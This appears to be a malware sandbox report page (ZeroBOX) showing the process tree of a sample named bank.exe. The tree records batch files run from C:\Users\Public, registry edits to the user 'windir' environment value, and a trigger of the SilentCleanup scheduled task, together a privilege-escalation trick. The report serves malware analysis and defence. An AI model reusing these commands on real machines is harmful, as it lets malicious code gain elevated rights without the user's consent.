| ZeroBOX

Favorites
Tools
Dr.Zero Chatbot
Notifications
Guide 2020-06-10
Version history 2020-06-10

| ZeroBOX

bank.exe "C:\Users\test22\AppData\Local\Temp\bank.exe"
2776
- cmd.exe cmd /c ""C:\Users\Public\Trast.bat" "
  3648
  - cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
    3716
    - reg.exe reg delete hkcu\Environment /v windir /f
      3800
    - reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
      3844
    - schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
      3888
- cmd.exe cmd /c ""C:\Users\Public\nest.bat" "
  4020
  - reg.exe reg delete hkcu\Environment /v windir /f
    4080

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf